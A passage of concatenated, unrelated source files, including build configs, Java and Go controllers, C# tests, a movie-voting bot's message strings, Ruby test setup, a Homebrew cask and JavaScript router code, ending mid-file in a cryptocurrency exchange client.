text:
'use strict';

const makeLoaderFinder = require('razzle-dev-utils/makeLoaderFinder');

module.exports = function modify(config) {
  config.resolve.extensions.push('.php');

  // Exclude from file-loader
  config.module.rules[
    config.module.rules.findIndex(makeLoaderFinder('file-loader'))
  ].exclude.push(/\.(php)$/);

  // Don't parse as JS
  config.module.noParse = config.module.noParse
    ? config.module.noParse.concat([/.php$/])
    : [/.php$/];

  // Add a custom babel loader (in addition to the one for .js)
  // making sure to ignore .babelrc
  config.module.rules.push({
    test: /\.php$/,
    include: config.module.rules.find(makeLoaderFinder('babel-loader')).include,
    use: [
      {
        loader: 'babel-loader',
        options: {
          presets: [require.resolve('babel-preset-php')],
          babelrc: false,
        },
      },
    ],
  });

  return config;
};


text:
package com.facebook.buck.cli;

import com.facebook.buck.command.config.BuildBuckConfig;
import com.facebook.buck.core.exceptions.HumanReadableException;
import com.facebook.buck.core.model.BuildTarget;
import com.facebook.buck.core.model.actiongraph.computation.ActionGraphCache;
import com.facebook.buck.core.model.actiongraph.computation.ActionGraphFactory;
import com.facebook.buck.core.model.actiongraph.computation.ActionGraphProvider;
import com.facebook.buck.core.model.targetgraph.TargetGraphCreationResult;
import com.facebook.buck.core.rules.ActionGraphBuilder;
import com.facebook.buck.core.rules.BuildRule;
import com.facebook.buck.event.ConsoleEvent;
import com.facebook.buck.jvm.core.HasClasspathEntries;
import com.facebook.buck.parser.SpeculativeParsing;
import com.facebook.buck.parser.exceptions.BuildFileParseException;
import com.facebook.buck.util.CommandLineException;
import com.facebook.buck.util.ExitCode;
import com.facebook.buck.util.MoreExceptions;
import com.facebook.buck.util.json.ObjectMappers;
import com.facebook.buck.versions.VersionException;
import com.google.common.annotations.VisibleForTesting;
import com.google.common.collect.ImmutableList;
import com.google.common.collect.ImmutableSet;
import com.google.common.collect.LinkedHashMultimap;
import com.google.common.collect.Multimap;
import java.io.IOException;
import java.nio.file.Path;
import java.util.ArrayList;
import java.util.List;
import java.util.Objects;
import java.util.SortedSet;
import java.util.TreeSet;
import javax.annotation.Nullable;
import org.kohsuke.args4j.Argument;
import org.kohsuke.args4j.Option;

public class AuditClasspathCommand extends AbstractCommand {

  /**
   * Expected usage:
   *
   * <pre>
   * buck audit classpath --dot //java/com/facebook/pkg:pkg > /tmp/graph.dot
   * dot -Tpng /tmp/graph.dot -o /tmp/graph.png
   * </pre>
   */
  @Option(name = "--dot", usage = "Print dependencies as Dot graph")
  private boolean generateDotOutput;

  public boolean shouldGenerateDotOutput() {
    return generateDotOutput;
  }

  @Option(name = "--json", usage = "Output in JSON format")
  private boolean generateJsonOutput;

  public boolean shouldGenerateJsonOutput() {
    return generateJsonOutput;
  }

  @Argument private List<String> arguments = new ArrayList<>();

  public List<String> getArguments() {
    return arguments;
  }

  @Override
  public ExitCode runWithoutHelp(CommandRunnerParams params) throws Exception {
    // Create a TargetGraph that is composed of the transitive closure of all of the dependent
    // BuildRules for the specified BuildTargetPaths.
    ImmutableSet<BuildTarget> targets = convertArgumentsToBuildTargets(params, getArguments());

    if (targets.isEmpty()) {
      throw new CommandLineException("must specify at least one build target");
    }

    TargetGraphCreationResult targetGraph;
    try (CommandThreadManager pool =
        new CommandThreadManager("Audit", getConcurrencyLimit(params.getBuckConfig()))) {
      targetGraph =
          params
              .getParser()
              .buildTargetGraph(
                  createParsingContext(
                          params.getCells().getRootCell(), pool.getListeningExecutorService())
                      .withSpeculativeParsing(SpeculativeParsing.ENABLED)
                      .withExcludeUnsupportedTargets(false),
                  targets);
    } catch (BuildFileParseException e) {
      params
          .getBuckEventBus()
          .post(ConsoleEvent.severe(MoreExceptions.getHumanReadableOrLocalizedMessage(e)));
      return ExitCode.PARSE_ERROR;
    }

    try {
      if (shouldGenerateDotOutput()) {
        return printDotOutput(params, targetGraph);
      } else if (shouldGenerateJsonOutput()) {
        return printJsonClasspath(params, targetGraph);
      } else {
        return printClasspath(params, targetGraph);
      }
    } catch (VersionException e) {
      throw new HumanReadableException(e, MoreExceptions.getHumanReadableOrLocalizedMessage(e));
    }
  }

  @Override
  public boolean isReadOnly() {
    return true;
  }

  @VisibleForTesting
  ExitCode printDotOutput(CommandRunnerParams params, TargetGraphCreationResult targetGraph) {
    try {
      Dot.builder(targetGraph.getTargetGraph(), "target_graph")
          .setNodeToName(
              targetNode -> "\"" + targetNode.getBuildTarget().getFullyQualifiedName() + "\"")
          .setNodeToTypeName(targetNode -> targetNode.getRuleType().getName())
          .build()
          .writeOutput(params.getConsole().getStdOut());
    } catch (IOException e) {
      return ExitCode.FATAL_IO;
    }
    return ExitCode.SUCCESS;
  }

  @VisibleForTesting
  ExitCode printClasspath(
      CommandRunnerParams params, TargetGraphCreationResult targetGraphCreationResult)
      throws InterruptedException, VersionException {

    if (params.getBuckConfig().getView(BuildBuckConfig.class).getBuildVersions()) {
      targetGraphCreationResult = toVersionedTargetGraph(params, targetGraphCreationResult);
    }

    ActionGraphBuilder graphBuilder =
        Objects.requireNonNull(
                new ActionGraphProvider(
                        params.getBuckEventBus(),
                        ActionGraphFactory.create(
                            params.getBuckEventBus(),
                            params.getCells().getRootCell().getCellProvider(),
                            params.getExecutors(),
                            params.getDepsAwareExecutorSupplier(),
                            params.getBuckConfig()),
                        new ActionGraphCache(
                            params
                                .getBuckConfig()
                                .getView(BuildBuckConfig.class)
                                .getMaxActionGraphCacheEntries()),
                        params.getRuleKeyConfiguration(),
                        params.getBuckConfig())
                    .getFreshActionGraph(targetGraphCreationResult))
            .getActionGraphBuilder();
    SortedSet<Path> classpathEntries = new TreeSet<>();

    for (BuildTarget target : targetGraphCreationResult.getBuildTargets()) {
      BuildRule rule = Objects.requireNonNull(graphBuilder.requireRule(target));
      HasClasspathEntries hasClasspathEntries = getHasClasspathEntriesFrom(rule);
      if (hasClasspathEntries != null) {
        classpathEntries.addAll(
            graphBuilder
                .getSourcePathResolver()
                .getAllAbsolutePaths(hasClasspathEntries.getTransitiveClasspaths()));
      } else {
        throw new HumanReadableException(
            rule.getFullyQualifiedName() + " is not a java-based" + " build target");
      }
    }

    for (Path path : classpathEntries) {
      params.getConsole().getStdOut().println(path);
    }

    return ExitCode.SUCCESS;
  }

  @VisibleForTesting
  ExitCode printJsonClasspath(
      CommandRunnerParams params, TargetGraphCreationResult targetGraphCreationResult)
      throws IOException, InterruptedException, VersionException {

    if (params.getBuckConfig().getView(BuildBuckConfig.class).getBuildVersions()) {
      targetGraphCreationResult = toVersionedTargetGraph(params, targetGraphCreationResult);
    }

    ActionGraphBuilder graphBuilder =
        Objects.requireNonNull(
                new ActionGraphProvider(
                        params.getBuckEventBus(),
                        ActionGraphFactory.create(
                            params.getBuckEventBus(),
                            params.getCells().getRootCell().getCellProvider(),
                            params.getExecutors(),
                            params.getDepsAwareExecutorSupplier(),
                            params.getBuckConfig()),
                        new ActionGraphCache(
                            params
                                .getBuckConfig()
                                .getView(BuildBuckConfig.class)
                                .getMaxActionGraphCacheEntries()),
                        params.getRuleKeyConfiguration(),
                        params.getBuckConfig())
                    .getFreshActionGraph(targetGraphCreationResult))
            .getActionGraphBuilder();
    Multimap<String, String> targetClasspaths = LinkedHashMultimap.create();

    for (BuildTarget target : targetGraphCreationResult.getBuildTargets()) {
      BuildRule rule = Objects.requireNonNull(graphBuilder.requireRule(target));
      HasClasspathEntries hasClasspathEntries = getHasClasspathEntriesFrom(rule);
      if (hasClasspathEntries == null) {
        continue;
      }
      targetClasspaths.putAll(
          target.getFullyQualifiedName(),
          hasClasspathEntries.getTransitiveClasspaths().stream()
              .map(graphBuilder.getSourcePathResolver()::getAbsolutePath)
              .map(Object::toString)
              .collect(ImmutableList.toImmutableList()));
    }

    // Note: using `asMap` here ensures that the keys are sorted
    ObjectMappers.WRITER.writeValue(params.getConsole().getStdOut(), targetClasspaths.asMap());

    return ExitCode.SUCCESS;
  }

  @Nullable
  private HasClasspathEntries getHasClasspathEntriesFrom(BuildRule rule) {
    if (rule instanceof HasClasspathEntries) {
      return (HasClasspathEntries) rule;
    }
    return null;
  }

  @Override
  public String getShortDescription() {
    return "provides facilities to audit build targets' classpaths";
  }
}

redpajama_set_name: RedPajamaGithub


text:
package controllers

import (
	"github.com/astaxie/beego"
	"github.com/astaxie/beego/utils/pagination"
	"github.com/vv1133/vvblog/models"
)

type AdminController struct {
	beego.Controller
}

func (c *AdminController) Get() {
	var scposts []models.BlogPost

	count := models.Count(models.DbPost, nil)
	page := pagination.NewPaginator(c.Ctx.Request, 10, count)
	c.Data["paginator"] = page

	models.GetDataByQuery(models.DbPost, page.Offset(), 10, "-created", nil, &scposts)
	c.Data["Lists"] = scposts

	c.TplNames = "admin/admin.html"
}

func (c *AdminController) Login() {
	c.Data["Website"] = "beego.me"
	c.Data["Email"] = "astaxie@gmail.com"
	c.TplNames = "admin/login.html"
}

func (c *AdminController) Logout() {
	c.Data["Website"] = "beego.me"
	c.Data["Email"] = "astaxie@gmail.com"
	c.TplNames = "admin/login.html"
}


text:
namespace More.ComponentModel
{
    using FluentAssertions;
    using Moq;
    using System;
    using System.Collections.Generic;
    using System.Reflection;
    using Xunit;
    using static System.String;

    public class CompositeRuleT1T2Test
    {
        [Fact]
        public void new_composition_rule_should_not_allow_null_rules()
        {
            // arrange
            var rules = default( IEnumerable<IRule<object, object>> );
            var mock = new Mock<CompositeRule<object, object>>( rules );

            // act
            Action @new = () => Console.WriteLine( mock.Object );

            // assert
            @new.ShouldThrow<TargetInvocationException>().And
                .InnerException.As<ArgumentNullException>().ParamName.Should().Be( nameof( rules ) );
        }

        [Fact]
        public void add_should_not_allow_null_items()
        {
            // arrange
            var rule = new Mock<CompositeRule<object, object>>() { CallBase = true }.Object;
            var item = default( IRule<object, object> );

            // act
            Action add = () => rule.Add( item );

            // assert
            add.ShouldThrow<ArgumentNullException>().And.ParamName.Should().Be( nameof( item ) );
        }

        [Fact]
        public void add_should_add_item_to_rule_set()
        {
            // arrange
            var rule = new Mock<CompositeRule<string, bool>>() { CallBase = true }.Object;
            var expected = new Rule<string, bool>( s => IsNullOrEmpty( s ) );

            // act
            rule.Add( expected );

            // assert
            rule.Should().Equal( new[] { expected } );
        }

        [Fact]
        public void clear_should_empty_rule_set()
        {
            // arrange
            var rule = new Mock<CompositeRule<string, bool>>() { CallBase = true }.Object;
            var expected = new Rule<string, bool>( s => IsNullOrEmpty( s ) );

            rule.Add( expected );

            // act
            rule.Clear();

            // assert
            rule.Should().BeEmpty();
        }

        [Fact]
        public void remove_should_remove_item_from_rule_set()
        {
            // arrange
            var rule = new Mock<CompositeRule<string, bool>>() { CallBase = true }.Object;
            var expected = new Rule<string, bool>( s => IsNullOrEmpty( s ) );

            rule.Add( expected );

            // act
            var removed = rule.Remove( expected );

            // assert
            removed.Should().BeTrue();
        }

        [Fact]
        public void evaluate_should_execute_rule_set()
        {
            // arrange
            var rule = new MockCompositeRule
            {
                new Rule<string, bool>( s => !IsNullOrEmpty( s ) ),
                new Rule<string, bool>( s => s.Length > 1 ),
                new Rule<string, bool>( s => s.Length < 25 )
            };

            // act
            var result = rule.Evaluate( "Unit Test" );

            // assert
            result.Should().BeTrue();
        }

        sealed class MockCompositeRule : CompositeRule<string, bool>
        {
            public override bool Evaluate( string item )
            {
                using ( var iterator = NestedRules.GetEnumerator() )
                {
                    if ( !iterator.MoveNext() )
                    {
                        return false;
                    }

                    var result = iterator.Current.Evaluate( item );

                    while ( iterator.MoveNext() )
                    {
                        result &= iterator.Current.Evaluate( item );
                    }

                    return result;
                }
            }
        }
    }
}


text:
module.exports = {
	error: {
		movies: "Error finding movies :(",
		add: "Error adding movie :(",
		notFriday: "Hold your horses, cowboy. It ain't even Friday yet.",
		duplicate: "This movie has already been suggested. Next....",
		general: "Error with command",
		vote: "Error voting for movie",
		findByTitle: "Cannot find {title}. Suggest that shit",
		findByID: "Cannot find movie by ID {id}",
		findMethod: "Error with voting method",
	},
	success: {
		add: "Added {movie} to the list",
		vote: "Your vote for {movie} has been cast"
	},
	misc: {
		danny: "Dayuuuuuummmmm, Danny Nguyen is one sexy ass motherfucker. Have you seen his Reeboks?",
		scott: "Ey Scottie too hottiiieeeeeeee",
		matt: "Matt Olsson? You mean Dee Snider?",
		joeCarpenito: "Please don't hurt me",
		grassis: ":(",
		anand: ":((",
		joeMorgan: "Have you heard about this new JavaScript framework?",
		lance: "REKT",
		forrest: "No more meetings!",
		milos: "Nobody touch my He-Man action figure",
		tom: "ROBOTS",
		chris: "OOOOWWWeeee what brand is that?",
		amy: "Throwback Thursday",
		roshan: "He hates dead pixels",
		pete: "Chipotle?",
		evan: "Most likely to escape by bicycle during the Apocalypse",
		amber: "https://www.youtube.com/watch?v=SUFSB2plwzM"
	}
};


text:
require "selenium/webdriver"

Capybara.register_driver :chrome do |app|
  Capybara::Selenium::Driver.new(app, browser: :chrome)
end

Capybara.register_driver :headless_chrome do |app|
  options = ::Selenium::WebDriver::Chrome::Options.new
  options.headless!
  options.add_argument "--window-size=1680,1050"

  Capybara::Selenium::Driver.new app,
    browser: :chrome,
    options: options
end

Capybara.javascript_driver = :headless_chrome

RSpec.configure do |config|
  config.before(:each, type: :system) do
    driven_by :rack_test
  end

  config.before(:each, type: :system, js: true) do
    driven_by Capybara.javascript_driver
  end
end


text:
package com.bei2love.kadima.commons.utils.excel.fieldtype;

import com.bei2love.kadima.commons.utils.StringUtils;
import com.bei2love.kadima.modules.sys.entity.Office;
import com.bei2love.kadima.modules.sys.utils.UserUtils;

/**
 * 字段类型转换
 * @author ThinkGem
 * @version 2013-03-10
 */
public class OfficeType {

	/**
	 * 获取对象值(导入)
	 */
	public static Object getValue(String val) {
		for (Office e : UserUtils.getOfficeList()){
			if (StringUtils.trimToEmpty(val).equals(e.getName())){
				return e;
			}
		}
		return null;
	}

	/**
	 * 设置对象值(导出)
	 */
	public static String setValue(Object val) {
		if (val != null && ((Office)val).getName() != null){
			return ((Office)val).getName();
		}
		return "";
	}
}


text:
cask "permute" do
  version "3.7.2,2515"
  sha256 "0427ec9dec4cbe5d861ddbe710b85c6b779d641168e3e92823bc930d500c576d"

  url "https://trial.charliemonroe.net/permute/v#{version.major}/Permute_#{version.major}_#{version.after_comma}.dmg"
  name "Permute"
  desc "Converts and edits video, audio or image files"
  homepage "https://software.charliemonroe.net/permute.php"

  livecheck do
    url "https://trial.charliemonroe.net/permute/updates_#{version.major}.xml"
    strategy :sparkle
  end

  auto_updates true
  depends_on macos: ">= :el_capitan"

  app "Permute #{version.major}.app"

  zap trash: [
    "~/Library/Containers/com.charliemonroe.Permute-#{version.major}",
    "~/Library/Preferences/com.charliemonroe.Permute-#{version.major}.plist",
  ]
end


text:
class dtkAbstractConnectedComponentsFilter;
class dtkConnectedComponentsFilterNodePrivate;

// ///////////////////////////////////////////////////////////////////
// dtkConnectedComponentsFilterNode
// ///////////////////////////////////////////////////////////////////

class DTKIMAGINGCOMPOSER_EXPORT dtkConnectedComponentsFilterNode : public dtkComposerNodeObject<dtkAbstractConnectedComponentsFilter>
{
public:
     dtkConnectedComponentsFilterNode(void);
    ~dtkConnectedComponentsFilterNode(void);

public:
    void run(void);

private:
    dtkConnectedComponentsFilterNodePrivate *d;
};

//
// dtkConnectedComponentsFilterNode.h ends here


text:
package org.dasein.util;

import java.util.concurrent.Executors;
import java.util.concurrent.ThreadFactory;

public class NamedThreadFactory implements ThreadFactory {
    private int    count = 1;
    private String name  = "Unknown";

    public NamedThreadFactory(Class owner) {
        this(owner, "");
    }

    public NamedThreadFactory(Class owner, String name) {
        this.name = "[" + owner.getName() + "] " + name;
    }

    public Thread newThread(Runnable r) {
        ThreadFactory factory = Executors.defaultThreadFactory();
        Thread t;

        t = factory.newThread(r);
        t.setName(name + " (" + (count++) + ")");
        return t;
    }

}


text:
require 'rspec'
require 'mysql2'
require 'timeout'
require 'yaml'
DatabaseCredentials = YAML.load_file('spec/configuration.yml')

RSpec.configure do |config|
  config.before(:all) do
    client = Mysql2::Client.new DatabaseCredentials['root']
    client.query %[
      CREATE TABLE IF NOT EXISTS mysql2_test (
        id MEDIUMINT NOT NULL AUTO_INCREMENT,
        null_test VARCHAR(10),
        bit_test BIT(64),
        single_bit_test BIT(1),
        tiny_int_test TINYINT,
        bool_cast_test TINYINT(1),
        small_int_test SMALLINT,
        medium_int_test MEDIUMINT,
        int_test INT,
        big_int_test BIGINT,
        float_test FLOAT(10,3),
        float_zero_test FLOAT(10,3),
        double_test DOUBLE(10,3),
        decimal_test DECIMAL(10,3),
        decimal_zero_test DECIMAL(10,3),
        date_test DATE,
        date_time_test DATETIME,
        timestamp_test TIMESTAMP,
        time_test TIME,
        year_test YEAR(4),
        char_test CHAR(10),
        varchar_test VARCHAR(10),
        binary_test BINARY(10),
        varbinary_test VARBINARY(10),
        tiny_blob_test TINYBLOB,
        tiny_text_test TINYTEXT,
        blob_test BLOB,
        text_test TEXT,
        medium_blob_test MEDIUMBLOB,
        medium_text_test MEDIUMTEXT,
        long_blob_test LONGBLOB,
        long_text_test LONGTEXT,
        enum_test ENUM('val1', 'val2'),
        set_test SET('val1', 'val2'),
        PRIMARY KEY (id)
      )
    ]
    client.query "DELETE FROM mysql2_test;"
    client.query %[
      INSERT INTO mysql2_test (
        null_test, bit_test, single_bit_test, tiny_int_test, bool_cast_test, small_int_test, medium_int_test, int_test, big_int_test,
        float_test, float_zero_test, double_test, decimal_test, decimal_zero_test, date_test, date_time_test, timestamp_test, time_test,
        year_test, char_test, varchar_test, binary_test, varbinary_test, tiny_blob_test,
        tiny_text_test, blob_test, text_test, medium_blob_test, medium_text_test,
        long_blob_test, long_text_test, enum_test, set_test
      )

      VALUES (
        NULL, b'101', b'1', 1, 1, 10, 10, 10, 10,
        10.3, 0, 10.3, 10.3, 0, '2010-4-4', '2010-4-4 11:44:00', '2010-4-4 11:44:00', '11:44:00',
        2009, "test", "test", "test", "test", "test",
        "test", "test", "test", "test", "test",
        "test", "test", 'val1', 'val1,val2'
      )
    ]
  end
end


text:
This is based on SYmfony Process and the work done in [symfony/symfony#8753](https://github.com/symfony/symfony/pull/8753).

[![Build Status](https://travis-ci.org/romainneutron/ProcessManager.png?branch=master)](https://travis-ci.org/romainneutron/ProcessManager)

## Usage examples

Run 4 jobs in parallel

```php
$manager = new Neutron\ProcessManager\ProcessManager();
$manager
    ->add(new Process('...'))
    ->add(new Process('...'))
    ->add(new Process('...'))
    ->add(new Process('...'))
    ->run();
```

Run 4 jobs in queue

```php
$manager = new Neutron\ProcessManager\ProcessManager();
$manager
    ->setMaxParallelProcesses(1)
    ->add(new Process('...'))
    ->add(new Process('...'))
    ->add(new Process('...'))
    ->add(new Process('...'))
    ->run();
```

## License

This is released under the MIT License.


text:
"""Defines the BaseProblem. Problems are expected to inherit from this class."""

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

import abc
import six

from amortized_bo import data as data_utils
from amortized_bo import utils

@six.add_metaclass(abc.ABCMeta)
class BaseProblem(object):
  """Base problem specification."""

  def __init__(self, batch_size=None, num_rounds=None, name=None):
    """Base specification for a Problem.

    Args:
      batch_size: Size of batch that the problem should be queried with. If
        None, any batch size is allowed
      num_rounds: Number of times the problem is allowed to query the problem
        oracle.  If None, any number of queries is allowed
      name: The name of the problem.
    """
    self._batch_size = batch_size
    self._num_rounds = num_rounds
    self._name = name or self.__class__.__name__
    # TODO(christofa): Make domain a required argument of this class.
    if not hasattr(self, '_domain'):
      self._domain = None

  @property
  def name(self):
    return self._name

  def __str__(self):
    return '%s (batch_size=%s num_rounds=%s)' % (
        self._name, self._batch_size, self._num_rounds)

  @property
  def batch_size(self):
    return self._batch_size

  @property
  def num_rounds(self):
    return self._num_rounds

  @property
  def domain(self):
    """Get the domain specifying allowed solution space for to the problem."""
    return self._domain

  def get_seed_structures(self):
    """Returns an iterable of seed structures from the problem domain.

    These seed structures can be used to seed the optimization or to build
    an initial dataset.

    Returns:
      An iterable of seed structures from the problem domain, which can be
      empty if the problem does not provide seed structures.
    """
    return []

  def build_labeled_dataset(self, num_samples=100, seed=0):
    """Builds a problem-specific initial dataset.

    By default, samples sequences randomly and evaluates the problem on those
    sequences. Can be overwritten by problem-specific dataset generators.

    Args:
      num_samples: The number of samples to return.
      seed: An optional integer seed or np.random.RandomState to be used
        for the random number generator.

    Returns:
      A tf.data.Dataset with data_utils.DatasetSamples.
    """
    structures = self.domain.sample_uniformly(num_samples, seed=seed)
    rewards = self(structures)
    return utils.dataset_from_tensors(
        data_utils.DatasetSample(structure=structures, reward=rewards))

  def compute_metrics(self, population, fast_only=False):
    """Compute problem-specific metrics for a population.

    Args:
      population: A `data.Population`.
      fast_only: Whether to only compute metrics that are fast to compute.

    Returns:
      A dict mapping metric names to metric values.
    """
    del population, fast_only
    return dict()

  @abc.abstractmethod
  def __call__(self, inputs):
    """Given a batch of sequences, return a batch of rewards.

    Args:
      inputs: A [batch x length] array of points to evaluate.

    Returns:
      A [batch] size array of rewards.
    """
    raise NotImplementedError


text:
var MiddlewareStack = Iron.MiddlewareStack;
var Url = Iron.Url;
var Layout = Iron.Layout;
var assert = Iron.utils.assert;
var DEFAULT_NOT_FOUND_TEMPLATE = '__IronRouterNotFound__';
var NO_ROUTES_TEMPLATE = '__IronRouterNoRoutes__';

/**
 * Client specific initialization.
 */
Router.prototype.init = function (options) {
  var self = this;

  // the current RouteController from a dispatch
  self._currentController = null;

  // the current route
  self._currentRoute = null;

  // the current() dep
  self._currentDep = new Deps.Dependency;

  // the location computation
  self._locationComputation = null;

  // the ui layout for the router
  self._layout = new Layout({template: self.options.layoutTemplate});

  Meteor.startup(function () {
    setTimeout(function maybeAutoInsertRouter () {
      if (self.options.autoRender !== false)
        self.insert({el: document.body});
    });
  });
};

/**
 * Programmatically insert the router into document.body or a particular
 * element with {el: 'selector'}
 */
Router.prototype.insert = function (options) {
  this._layout.insert(options);
  return this;
};

/**
 * Returns a layout view that can be used in a UI helper to render the router
 * to a particular place.
 */
Router.prototype.createView = function () {
  return this._layout.create();
};

Router.prototype.lookupNotFoundTemplate = function () {
  if (this.options.notFoundTemplate)
    return this.options.notFoundTemplate;

  return (this.routes.length === 0) ? NO_ROUTES_TEMPLATE : DEFAULT_NOT_FOUND_TEMPLATE;
};

Router.prototype.lookupLayoutTemplate = function () {
  return this.options.layoutTemplate;
};

Router.prototype.dispatch = function (url, context, done) {
  var self = this;

  assert(typeof url === 'string', "expected url string in router dispatch");

  var controller = this._currentController;
  var route = this.findFirstRoute(url);
  var prevRoute = this._currentRoute;

  this._currentRoute = route;

  //XXX Instead of this, let's consider making all RouteControllers
  //    singletons that get configured at dispatch. Will revisit this
  //    after v1.0.
  if (controller && route && prevRoute === route) {
    // this will change the parameters dep so anywhere you call
    // this.getParams will rerun if the parameters have changed
    controller.configureFromUrl(url, context);
  } else {
    // Looks like we're on a new route so we'll create a new
    // controller from scratch.
    controller = this.createController(url, context);
  }

  // even if we already have an existing controller we'll stop it
  // and start it again. But since the actual controller instance
  // hasn't changed, the helpers won't need to rerun.
  if (this._currentController)
    this._currentController.stop();

  this._currentController = controller;

  controller.dispatch(self._stack, url, function (err) {
    if (err)
      throw err;
    else {
      if (!controller.isHandled() && controller.willBeHandledOnServer()) {
        window.location = controller.url;
        return;
      } else if (!controller.isHandled() && !controller.willBeHandledOnServer()) {
        // looks like there's no handlers so let's give a default
        // not found message! Use the layout defined in global config
        // if we have one.
        //
        // NOTE: this => controller
        this.layout(this.lookupOption('layoutTemplate'), {data: {url: this.url}});

        var notFoundTemplate = this.lookupOption('notFoundTemplate');

        if (!notFoundTemplate)
          notFoundTemplate = (self.routes.length === 0) ? NO_ROUTES_TEMPLATE : DEFAULT_NOT_FOUND_TEMPLATE;
        this.render(notFoundTemplate, {data: {url: this.url}});
        this.renderRegions();
        return;
      } else {
        return done && done(err);
      }
    }
  });

  // Note: even if the controller didn't actually change I change the
  // currentDep since if we did a dispatch, the url changed and that
  // means either we have a new controller OR the parameters for an
  // existing controller have changed.
  if (this._currentController == controller)
    this._currentDep.changed();

  return controller;
};

/**
 * The current controller object.
 */
Router.prototype.current = function () {
  this._currentDep.depend();
  return this._currentController;
};

/*
 * Scroll to a specific location on the page.
 * Overridable by applications that want to customize this behavior.
 */
Router.prototype._scrollToHash = function (hashValue) {
  try {
    var $target = $(hashValue);
    $('html, body').scrollTop($target.offset().top);
  } catch (e) {
    // in case the hashValue is bogus just bail out
  }
};

/**
 * Start reacting to location changes.
 */
Router.prototype.start = function () {
  var self = this;
  var prevLocation;

  self._locationComputation = Deps.autorun(function locationComputation (c) {
    var controller;
    var loc = Iron.Location.get();
    var hash, pathname, search;
    var current = self._currentController;

    if (!current || (prevLocation && prevLocation.path !== loc.path)) {
      controller = self.dispatch(loc.href);

      // if we're going to the server cancel the url change
      if (controller.willBeHandledOnServer())
        loc.cancelUrlChange();
    } else {
      self._scrollToHash(loc.hash);
      // either the query or hash has changed so configure the current
      // controller again.
      current.configureFromUrl(loc.href);
    }

    prevLocation = loc;
  });
};

/**
 * Stop all computations and put us in a not started state.
 */
Router.prototype.stop = function () {
  if (!this._isStarted)
    return;

  if (this._locationComputation)
    this._locationComputation.stop();

  if (this._currentController)
    this._currentController.stop();

  this._isStarted = false;
};

/**
 * Go to a given path or route name, optinally pass parameters and options.
 *
 * Example:
 * router.go('itemsShowRoute', {_id: 5}, {hash: 'frag', query: 'string});
 */
Router.prototype.go = function (routeNameOrPath, params, options) {
  var self = this;
  var isPath = /^\/|http/;
  var path;

  options = options || {};

  if (isPath.test(routeNameOrPath)) {
    // it's a path!
    path = routeNameOrPath;
  } else {
    // it's a route name!
    var route = self.routes[routeNameOrPath];
    assert(route, "No route found named " + JSON.stringify(routeNameOrPath));
    path = route.path(params, _.extend(options, {throwOnMissingParams: true}));
  }

  // let Iron Location handle it and we'll pick up the change in
  // Iron.Location.get() computation.
  Iron.Location.go(path, options);
};


text:
from asposebarcode import Settings
from com.aspose.barcode import BarCodeBuilder
from com.aspose.barcode import Symbology
from com.aspose.barcode import BarCodeImageFormat
from java.io import ByteArrayOutputStream

class SaveBarcodeImageToTtreams:

    def __init__(self):
        dataDir = Settings.dataDir + 'WorkingWithBarcodeImage/BarcodeImageUtilityFeatures/SaveBarcodeImageToTtreams/'

        # Instantiate barcode object
        builder = BarCodeBuilder()

        # Set symbology of the barcode
        symbology=Symbology
        builder.setSymbologyType(symbology.Code128)

        # Set code text
        builder.setCodeText("123456")

        # Initialize ByteArrayOutputStream object
        out_stream = ByteArrayOutputStream()

        # Save barcode image
        barCodeImageFormat = BarCodeImageFormat
        builder.save(out_stream, barCodeImageFormat.Jpeg)

        # Display Status.
        print "Save Barcode Image to Streams, please check the output file."

if __name__ == '__main__':
    SaveBarcodeImageToTtreams()


text:
using System;

namespace EmployReport
{
	public class WorkshiftOptions
	{
		public Func<Employee, bool> Filter { get; }
		public Func<Employee, Employee> Transform { get; }
		public (AscOrDesc, Func<Employee, string>) Order { get; }

		public AscOrDesc AscOrDesc { get; set; }

		public WorkshiftOptions(
			Func<Employee, bool> filter,
			Func<Employee, Employee> transform,
			(AscOrDesc, Func<Employee, string>) order
			)
		{
			Filter = filter;
			Transform = transform;
			Order = order;
		}

		public Employees Query(Employees employees)
		{
			var result = employees
				.Filter(this)
				.Transform(this)
				.Order(this);

			return result;
		}
	}

	public class SundayWorkers : WorkshiftOptions
	{
		public SundayWorkers() : base(emp => emp.CanWorkOnSunday(), null, default) { }
	}

	public class OrderByEmployeeName : WorkshiftOptions
	{
		public OrderByEmployeeName(AscOrDesc ascOrDesc) : base(
			filter: emp => true,
			transform: null,
			order: (ascOrDesc, (emp) => emp.Name.Value))
		{
		}
	}

	public class CapitalizeName : WorkshiftOptions
	{
		public CapitalizeName() : base(emp => true, emp => emp.CapitalizeName(), default)
		{
		}
	}

	public class LowerCaseName : WorkshiftOptions
	{
		public LowerCaseName() : base(filter: emp => true, transform: emp => emp.LowerCaseName(), default)
		{
		}
	}

	public class ChangeAge : WorkshiftOptions
	{
		public ChangeAge() : base(f => true, emp => new Employee(Name.Of(emp.Name.Value), Age.Of(emp.Age.Value + 1)), default)
		{
		}
	}
}


text:
package com.xeiam.xchange.cryptotrade.service.polling;

import java.util.ArrayList;
import java.util.List;

import si.mazi.rescu.ParamsDigest;
import si.mazi.rescu.RestProxyFactory;

import com.xeiam.xchange.ExchangeException;
import com.xeiam.xchange.ExchangeSpecification;
import com.xeiam.xchange.cryptotrade.CryptoTrade;
import com.xeiam.xchange.cryptotrade.dto.CryptoTradeBaseResponse;
import com.xeiam.xchange.cryptotrade.service.CryptoTradeHmacPostBodyDigest;
import com.xeiam.xchange.currency.CurrencyPair;
import com.xeiam.xchange.service.BaseExchangeService;
import com.xeiam.xchange.service.polling.BasePollingService;

public class CryptoTradeBasePollingService<T extends CryptoTrade> extends BaseExchangeService implements BasePollingService {

  private static final long START_MILLIS = 1356998400000L; // Jan 1st, 2013 in milliseconds from epoch

  protected final String apiKey;
  protected final T cryptoTradeProxy;
  protected final ParamsDigest signatureCreator;

  /**
   * Constructor
   *
   * @param exchangeSpecification The {@link ExchangeSpecification}
   */
  public CryptoTradeBasePollingService(Class<T> type, ExchangeSpecification exchangeSpecification) {

    super(exchangeSpecification);

    this.cryptoTradeProxy = RestProxyFactory.createProxy(type, exchangeSpecification.getSslUri());
    this.apiKey = exchangeSpecification.getApiKey();
    this.signatureCreator = CryptoTradeHmacPostBodyDigest.createInstance(exchangeSpecification.getSecretKey());
  }

  protected int nextNonce() {

    return (int) ((System.currentTimeMillis() - START_MILLIS) / 250L);
  }

  protected <R extends CryptoTradeBaseResponse> R handleResponse(final R response) {

    final String status = response.getStatus();
    final String error = response.getError();
    if ((status != null && status.equalsIgnoreCase("error")) || (error != null && !error.isEmpty())) {
      throw new ExchangeException(error);
    }

    return response;
